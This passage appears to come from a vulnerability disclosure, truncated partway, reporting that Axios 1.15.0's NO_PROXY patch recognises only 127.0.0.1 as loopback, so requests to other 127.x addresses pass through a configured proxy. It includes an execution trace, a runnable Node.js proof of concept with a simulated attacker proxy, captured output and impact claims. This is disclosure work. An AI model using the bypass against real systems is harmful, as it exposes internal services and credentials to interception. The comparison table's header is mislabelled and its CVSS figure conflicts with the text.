This means all addresses from 127.0.0.1 through 127.255.255.254 are valid loopback addresses on any RFC-compliant operating system. On Linux, the entire /8 block is routed to the lo interface by default. The patch recognises only 127.0.0.1, leaving 16,777,213 valid loopback addresses unprotected.

2.6 Step-by-Step Bypass Execution Trace
Environment:

NO_PROXY   = "localhost,127.0.0.1,::1"
HTTP_PROXY = "http://attacker-proxy:5300"
Target URL = "http://127.0.0.2:9191/internal-api"

Annotated execution of shouldBypassProxy("http://127.0.0.2:9191/internal-api"):

// Step 1 — Parse the request URL
parsed   = new URL("http://127.0.0.2:9191/internal-api")
hostname = "127.0.0.2"    // parsed.hostname
// Step 2 — Read NO_PROXY environment variable
noProxy  = "localhost,127.0.0.1,::1"   // lowercased
// Step 3 — Normalize the request hostname
hostname = normalizeNoProxyHost("127.0.0.2")
//          No brackets → skip
//          No trailing dot → skip
//          Result: "127.0.0.2"  (unchanged)
// Step 4 — Iterate over NO_PROXY entries
//  Entry → "localhost"
entryHost = "localhost"
"127.0.0.2" === "localhost"                  → false
isLoopback("127.0.0.2")                      → false  ← Set.has() returns false
                                                          BYPASS starts here
//  Entry → "127.0.0.1"
entryHost = "127.0.0.1"
"127.0.0.2" === "127.0.0.1"                 → false
isLoopback("127.0.0.2") && isLoopback("127.0.0.1")
  → LOOPBACK_ADDRESSES.has("127.0.0.2")     → false  ← Same failure
  → false
//  Entry → "::1"
entryHost = "::1"
"127.0.0.2" === "::1"                        → false
isLoopback("127.0.0.2") && isLoopback("::1")
  → LOOPBACK_ADDRESSES.has("127.0.0.2")     → false  ← Same failure
  → false
// Step 5 — Final return
shouldBypassProxy() → false
//  Axios proceeds to route the request through the configured proxy.
//  The attacker's proxy server receives the full request including headers
//  and any response from the internal service.

2.7 Why the Patch Design Is Flawed
The patch addresses the symptom (two specific alternate representations) rather than the root cause (an incomplete definition of what constitutes a loopback address).

Aspect	Original Bug	This Finding
What was wrong	No normalization before comparison	Incomplete loopback address set
Fix applied	Added normalizeNoProxyHost()	None set remains hardcoded
RFC compliance	Violated RFC 1034 & RFC 3986	Violates RFC 1122 §3.2.1.3
Bypass method	Alternate string representation	Alternate valid loopback address
Impact	NO_PROXY bypass → SSRF	NO_PROXY bypass → SSRF (identical)

**2.8 Total Exposed Address Space**
Protected by patch:    127.0.0.1          (1 address)
Unprotected loopback:  127.0.0.2
                       through
                       127.255.255.254    (16,777,213 addresses)

Real-world services that commonly bind to non-standard loopback addresses include:

• Internal microservices and admin dashboards using dedicated loopback IPs
• Development environments with multiple isolated service instances
• Docker and container bridge network configurations
• Test infrastructure allocating sequential loopback IPs across services

3. Comprehensive Attack Vector & Proof of Concept

3.1 Reproduction Steps

Step 1 — Create a fresh project directory

mkdir axios-bypass-test && cd axios-bypass-test

Step 2 — Initialize the project with the patched Axios version
Create package.json:

{
  "type": "module",
  "dependencies": {
    "axios": "1.15.0"
  }
}

Install dependencies:

npm install

Verify the installed version:

npm list axios

##### Expected output: axios@1.15.0

Step 3 — Create the PoC file (poc.js)

import http from 'http';
import axios from 'axios';
// ── Simulated attacker-controlled proxy server ────────────────────────────────
const PROXY_PORT = 5300;
http.createServer((req, res) => {
  console.log('\n[!] PROXY HIT — Attacker proxy received request!');
  console.log(`    Method : ${req.method}`);
  console.log(`    URL    : ${req.url}`);
  console.log(`    Host   : ${req.headers.host}`);
  res.writeHead(200);
  res.end('proxied');
}).listen(PROXY_PORT);
// ── Simulated developer security configuration ────────────────────────────────
// Developer believes all loopback traffic is protected by NO_PROXY.
process.env.HTTP_PROXY = `http://127.0.0.1:${PROXY_PORT}`;
process.env.NO_PROXY   = 'localhost,127.0.0.1,::1';
// ── Test helper ───────────────────────────────────────────────────────────────
async function test(url) {
  console.log(`\n[*] Testing: ${url}`);
  try {
    const res = await axios.get(url, { timeout: 2000 });
    if (res.data === 'proxied') {
      console.log('    Result → [PROXIED]  ← BYPASS CONFIRMED');
    } else {
      console.log('    Result → [DIRECT]   ← Safe, no proxy used');
    }
  } catch (err) {
    if (err.code === 'ECONNREFUSED') {
      console.log('    Result → [DIRECT]   ← ECONNREFUSED (request did not go through proxy)');
    }
  }
}
// ── Test execution ────────────────────────────────────────────────────────────
setTimeout(async () => {
  // Section A: Cases fixed by the existing patch — expected to go DIRECT
  console.log('\n=== PATCHED CASES (Expected: All requests bypass the proxy) ===');
  await test('http://localhost:9191/secret');
  await test('http://localhost.:9191/secret');
  await test('http://[::1]:9191/secret');
  // Section B: Bypass cases — expected to go DIRECT, but actually go through proxy
  console.log('\n=== BYPASS CASES (Expected: bypass proxy | Actual: routed through proxy) ===');
  await test('http://127.0.0.2:9191/secret');
  await test('http://127.0.0.100:9191/secret');
  await test('http://127.1.2.3:9191/secret');
  process.exit(0);
}, 500);

Step 4 — Execute the PoC

node poc.js

3.2 Observed Output
The following output was captured during testing on Kali Linux with Axios 1.15.0:

=== PATCHED CASES (Expected: All requests bypass the proxy) ===
[*] Testing: http://localhost:9191/secret
    Result → [DIRECT]   ← ECONNREFUSED (request did not go through proxy)  
[*] Testing: http://localhost.:9191/secret
    Result → [DIRECT]   ← ECONNREFUSED (request did not go through proxy)  
[*] Testing: http://[::1]:9191/secret
    Result → [DIRECT]   ← ECONNREFUSED (request did not go through proxy)  
=== BYPASS CASES (Expected: bypass proxy | Actual: routed through proxy) ===
[*] Testing: http://127.0.0.2:9191/secret
[!] PROXY HIT — Attacker proxy received request!
    Method : GET
    URL    : http://127.0.0.2:9191/secret
    Host   : 127.0.0.2:9191
    Result → [PROXIED]  ← BYPASS CONFIRMED                                 
[*] Testing: http://127.0.0.100:9191/secret
[!] PROXY HIT — Attacker proxy received request!
    Method : GET
    URL    : http://127.0.0.100:9191/secret
    Host   : 127.0.0.100:9191
    Result → [PROXIED]  ← BYPASS CONFIRMED                                 
[*] Testing: http://127.1.2.3:9191/secret
[!] PROXY HIT — Attacker proxy received request!
    Method : GET
    URL    : http://127.1.2.3:9191/secret
    Host   : 127.1.2.3:9191
    Result → [PROXIED]  ← BYPASS CONFIRMED                                 

3.3 Analysis of Results
The output conclusively demonstrates the following:

Patched cases behave correctly: Requests to localhost, localhost. (trailing dot), and [::1] (bracketed IPv6) all result in a direct connection, confirming that the existing patch in Axios 1.15.0 correctly handles the cases reported in GHSA-3p68-rc4w-qgx5.

Bypass cases confirm the incomplete patch: Requests to 127.0.0.2, 127.0.0.100, and 127.1.2.3 all of which are valid loopback addresses within the 127.0.0.0/8 subnet as defined by RFC 1122 §3.2.1.3 are transparently forwarded to the attacker-controlled proxy server. The proxy receives the full request including the HTTP method, target URL, and Host header, demonstrating that any response from an internal service bound to these addresses would be fully intercepted.

This confirms that the NO_PROXY protection configured by the developer (localhost,127.0.0.1,::1) fails silently for the entire 127.0.0.0/8 address range beyond 127.0.0.1, providing a reproducible and reliable bypass of the security control introduced by the patch.

4. Impact Assessment
This vulnerability is a security control bypass specifically an incomplete patch that allows an attacker to circumvent the NO_PROXY protection mechanism in Axios by using any loopback addresses within the 127.0.0.0/8 subnet other than 127.0.0.1. The result is that traffic intended to remain private and direct is silently intercepted by a configured proxy server.

4.1 Who Is Impacted?

Primary Target — Node.js Backend Applications
Any Node.js application that meets all three of the following conditions is vulnerable:

Condition 1:  Uses Axios 1.15.0 (latest patched) for HTTP requests
Condition 2:  Has HTTP_PROXY or HTTPS_PROXY set in its environment
              (common in corporate networks, cloud deployments,
               containerised environments, and CI/CD pipelines)
Condition 3:  Relies on NO_PROXY=localhost,127.0.0.1,::1 (or similar)
              to protect loopback or internal services from proxy routing

Affected Deployment Environments

Environment	Risk Level
Cloud-hosted applications (AWS, GCP, Azure)	Critical
Containerised microservices (Docker, Kubernetes)	Critical
Corporate networks with mandatory proxy	High
CI/CD pipelines with proxy environment variables	High
On-premise servers with internal proxy	High

Scale of Exposure
Axios is one of the most widely used HTTP client libraries in the JavaScript ecosystem, with over 500 million weekly downloads on npm. Any application in the above categories using Axios 1.15.0 is affected, regardless of whether the developer is aware of the underlying proxy routing logic.

4.3 Impact Details

Impact 1 Silent Interception of Internal Service Traffic

When an application makes a request to an internal loopback service using a non-standard loopback address (e.g., http://127.0.0.2/admin), Axios silently routes the request through the configured proxy instead of connecting directly.

Developer expects:    Application → 127.0.0.2:8080 (direct)
Actual behaviour:     Application → Attacker Proxy → 127.0.0.2:8080
The proxy receives:
  - Full request URL
  - HTTP method
  - All request headers (including Authorization, Cookie, API keys)
  - Request body (for POST/PUT requests)
  - Full response from the internal service

The developer receives no error or warning. From the application's perspective, the request succeeds normally.

Impact 2 — SSRF Mitigation Bypass
Many applications implement SSRF protections by configuring NO_PROXY to prevent requests to loopback addresses from being forwarded externally. This bypass defeats that protection entirely for any loopback address beyond 127.0.0.1.

SSRF Protection (as configured by developer):
  NO_PROXY = localhost,127.0.0.1,::1
What developer believes is protected:
  All loopback/internal addresses
What is actually protected:
  Only: localhost, 127.0.0.1, ::1 (3 of 16,777,216 loopback addresses)
What remains exposed:
  127.0.0.2 through 127.255.255.254 (16,777,213 addresses)

An attacker who can influence the target URL of an Axios request through user-supplied input, redirect chains, or other SSRF vectors can exploit this gap to reach internal services that the developer explicitly intended to protect.

Impact 3 — Cloud Metadata Service Exposure
In cloud environments (AWS, GCP, Azure), SSRF vulnerabilities are particularly severe because they can be used to access the instance metadata service and retrieve IAM credentials, enabling full cloud account compromise.

While the AWS IMDSv2 service is reachable at 169.254.169.254 (not a loopback address), many cloud deployments run internal metadata proxies, credential servers, or service discovery endpoints bound to non-standard loopback addresses within the 127.0.0.0/8 range. An attacker reaching any of these services through the bypass could:

• Retrieve temporary IAM credentials
• Access environment variables containing secrets
• Enumerate internal service configurations
• Pivot to other internal services via the compromised credentials

Impact 4 — Confidential Data Exfiltration
Any internal service binding to a 127.x.x.x address other than 127.0.0.1 is fully exposed. This includes:

Internal Service Type	Exposed Data
Admin panels / dashboards	User data, configuration, logs
Internal APIs	Business logic, database contents
Secret managers / vaults	API keys, tokens, certificates
Health check endpoints	Infrastructure topology
Development services	Source code, environment variables

Impact 5 — No Indication of Compromise
A particularly dangerous characteristic of this vulnerability is that it is completely silent neither the application nor the developer receives any indication that requests are being routed incorrectly. There are no error messages, no exceptions thrown, and no changes in application behaviour. The proxy interception is entirely transparent from the application's perspective, making detection extremely difficult without active network monitoring.

4.4 Comparison with Original Vulnerability

Internal Service Type	Exposed Data	Exposed Data
Attack method	Use localhost. or [::1]	Use any 127.x.x.x ≠ 127.0.0.1
Patch status	Fixed in 1.15.0	Not fixed in 1.15.0
CVSS score	9.3 Critical	9.9 Critical or (equivalent)
Attacker effort	Trivial	Trivial
Detection by developer	None	None
Impact	SSRF / proxy bypass	SSRF / proxy bypass (identical)

The severity of this finding is equivalent to the original vulnerability because the attack conditions, exploitation technique, and resulting impact are identical. The only difference is the specific input used to trigger the bypass, which the existing patch completely fails to address.

5. Technical Remediation & Proposed Fix

5.1 Vulnerable Code Block

The vulnerability resides in lib/helpers/shouldBypassProxy.js at lines 1–3. The following is the exact code extracted from Axios 1.15.0:

// lib/helpers/shouldBypassProxy.js — Axios 1.15.0
// Lines 1–3 (VULNERABLE)
const LOOPBACK_ADDRESSES = new Set(['localhost', '127.0.0.1', '::1']);
const isLoopback = (host) => LOOPBACK_ADDRESSES.has(host);

This hardcoded Set is subsequently used at line 108 during the final NO_PROXY match evaluation:

// lib/helpers/shouldBypassProxy.js — Line 108 (VULNERABLE USAGE)
return hostname === entryHost || (isLoopback(hostname) && isLoopback(entryHost

> ✂ **Note**
> 
> PR body was truncated to here.